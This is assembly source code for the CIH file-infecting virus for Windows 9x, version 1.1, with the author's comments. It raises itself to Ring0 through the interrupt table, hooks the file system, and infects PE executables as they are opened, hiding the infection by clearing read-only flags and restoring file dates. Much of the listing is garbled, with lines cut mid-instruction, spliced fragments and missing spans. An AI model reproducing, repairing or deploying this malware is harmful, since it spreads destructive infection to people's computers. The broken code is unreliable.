* The Virus Program Information *
;
****************************************************************************

; * *
; * Designer : CIH Original Place : TTIT of Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.1 *
; * Modification Time : 05/15/1998 *
; * *
;
*==========================================================================*

; * Modification History *
;
*==========================================================================*

; * v1.0 1. Create the Virus P *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; * 6. When System Opens Existing PE File, the File will be *
; * Infected, and the File doesn't be Reinfected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and Time *
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Managle that be Infected will not Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
;
****************************************************************************

.586P

; ********************************************************************ALSE =
0

DEBUG = TRUE

MajorVirusVersion = 1
MinorVirusVersion = 1

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion

HookExceptionNumber = 03h
FileNameBufferSize = 7fh

; *********************************************************
; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

MyVirusStart:
push ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

mov esi, [eax]

or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

; *************************************
; * Generate Exception Again *
; *************************************

int HookExceptionNumber ; GenerateException Ag
ain

; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************

ReadyRestoreSE:
sti

xor ebx, ebx

jmp RestoreSE

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]

RestoreSE:
pop dword ptr fs:[ebx]
pop eax

; *************************************
; * Return Original App to Execute *
; *************************************

pop ebp

push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack

ret ; Re*********************************

MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !? *
; *************************************

mov ecx, dr0
jecxz AllocateSystemMemoryPage

add dword ptr [esp], ReadyRestoreSE-ReturnAddressO
fEndException

; *************************************
; * Return to Ring3 Initial Program *
; *************************************

ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;

iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystemMemoryPage:

mov dr0, ebx ; Set the Mark of My Virus Exi
st in System

push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h

xchg edi, eax ; EDI = SystemMemory Start Add
ress

lea eax, MyVirusStart-@2[esi]

iretd ; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook *
; ************************0h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags

mov dr0, eax ; Save OldFileSystemApiHook Ad
dress

pop eax ; EAX = FileSystemApiHook Address

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx

; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax

cli

jmp ExitRing0Init

; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************

CodeSizeOfMergeVirusCodeSection = offset $

; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************

InstallFileSystemApiHook:
push ebx

call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;

push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

push eax

; Call Original IFSMgr_InstallFileSystemApiHook
******
; * Static Data *
; *********************************************************

OldInstallFileSystemApiHook dd ?

; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************

; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************

FileSystemApiHook:
@3 = FileSystemApiHook

pushad

call @5 ;
@5: ;
pop esi ; mov esi, offset VirusGameDataStartAd
dress
add esi, VirusGameDataStartAddress-@5

; *************************************
; * Is OnBusy !? *
; *************************************

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy
)
jnz pIFSFunc ; goto pIFSFun
c

; *************************************
; * Is OpenFile !? *
; *************************************

; if ( NotOpenFile )
***********************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************

; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6

push esi

mov al, [ebx+04h]
cmp al, 0ffh
je CallUniToBCSPath

add al, 40h
mov ah, ':'

mov [esi], eax

inc esi
inc esi

; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************

CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h

; *************************************
; * Is FileName '.EXE' !? *
; *************************************

; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy

IF DEBUG

; *************************************
; * Only for Debug *
; *************************************

; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy

ENDIF

; *************************************
; * Is Open Existing File !? *
; *************************************

; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy

; *************************************
; * Get Attributes of the File *
; *************************************

mov ax, 4300h
int 20h push ecx

; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

; *************************************
; * Is Read-Only File !? *
; *************************************

test cl, 01h
jz OpenFile

; *************************************
; * Modify Read-Only File to Write *
; *************************************

mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Open File *
; *************************************

OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIO

xchg ebx, eax ; mov ebx, FileHandle

; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************

pop ecx

pushf

1h
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Is Open File OK !? *
; *************************************

IsOpenFileOK:
popf

jc DisableOnBusy

; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************

push esi ; Push FileNameBuffer Address to Stack

pushf ; Now CF = 0, Push Flag to Stack

add esi, DataBuffer-@7 ; mov esi, offset DataBuffe
r

; ***************************
; * Get OffsetToNewHeader *
; ***************************

xor eax, eax
mov ah, 0d6h

; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax

xor ecx, ecx
mov cl, 04h
xor edx, edx
mov dl, 3ch
call edi ; VXDCall IFSMgr_Ring0_FileIO

mov edx, [esi]

; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************

dec edx

mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************

; cmp [esi], '\0PE\0'
cmp dword ptr [esi], 00455000h
jne CloseFile

; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************

; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address == @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h == Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP = ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ; * ------------------------- *
; *************************************

push ebx ; Save File Handle

push 00h ; Set VirusCodeSectionTableEndMark

; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************

push 01h ; Size
push edx ; Pointer of File
push edi ; Address of Buffer

; ***************************
; * Save ESP Register *
; ***************************

mov dr1, esp

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************

push eax ; Size

; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************

mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h ; Move EDX to NumberOfSections
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************

lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of File

lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer

; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************

movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]

; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************

mov al, SizeOfScetionTable

; I Assume NumberOfSections *
; * Need to Restore File *
; * Modification Time *
; ***************************

SetFileModificationMark:
pop ebx
pop eax

stc ; Enable CF(Carry Flag)
pushf

; *************************************
; * Close File *
; *************************************

CloseFile:
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************

popf
pop esi
jnc DisableOnBusy

; **************************** mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Disable OnBusy *
; *************************************

DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBu
sy

; *************************************
; * Call Previous FileSystemApiHook *
; ************st. *
; *************************************

pIFSFunc:
mov ebx, esp
push dword ptr [ebx+20h+04h+14h] ; Push pioreq
call [ebx+20h+04h] ; Call pIFSFun
c
pop ecx ;

mov [ebx+1ch], eax ; Modify EAX Value in Stack

; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq. *
; ***************************

cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook

; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************

mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax

; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; ***************************

QuitMyVirusFileSystemHook:

popad

ret

; *********************************************************
; * Static Data *
; *****_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath

VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h
Virus Size *
; *********************************************************

VirusSize = $
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionT
able(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; * Dynamic Data *
; *********************************************************

VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0
FileModificationTime dd ?

FileNameBuffer db FileNameBufferSize dup(?)
@7 = FileNameBuffer

DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ?
TimeDateStamp dd ?
SymbolsPointer dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
_Characteristics dw ?
Magic dw ?
LinkerVersion dw ?
SizeOfCode dd ?
SizeOfInitializedData dd ?
SizeOfUninitializedData dd ?
AddressOfEntryPoint dd ?
BaseOfCode dd ?
BaseOfData dd ?
ImageBase dd ?
@9 = $
SectionAlignm dd ?
SizeOfImage dd ?
SizeOfHeaders dd ?
SizeOfImageHeaderToRead = $-NumberOfSections

NewAddressOfEntryPoint = DataBuffer ; DWORD
SizeOfImageHeaderToWrite = 04h

StartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD
VirtualSize = StartOfSectionTable+08h ; DWORD
VirtualAddress = StartOfSectionTable+0ch ; DWORD
SizeOfRawData = StartOfSectionTable+10h ; DWORD
PointerToRawData = StartOfSectionTable+14h ; DWORD
PointerToRelocations = StartOfSectionTable+18h ; DWORD
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD
NumberOfRelocations = StartOfSectionTable+20h ; WORD
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD
Characteristics = StartOfSectionTable+24h ; DWORD
SizeOfScetionTable = Characteristics+04h-SectionName

; *********************************************************
; * Virus Total Need Memory *
; *********************************************************

VirusNeedBaseMemory = $

VirusTotalNeedMemory = @9
; + NumberOfSections( + NumberOfSections(??)*SizeOfVirusCodeSectionT
able(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; *********************************************************

VirusGame ENDS

END FileHeader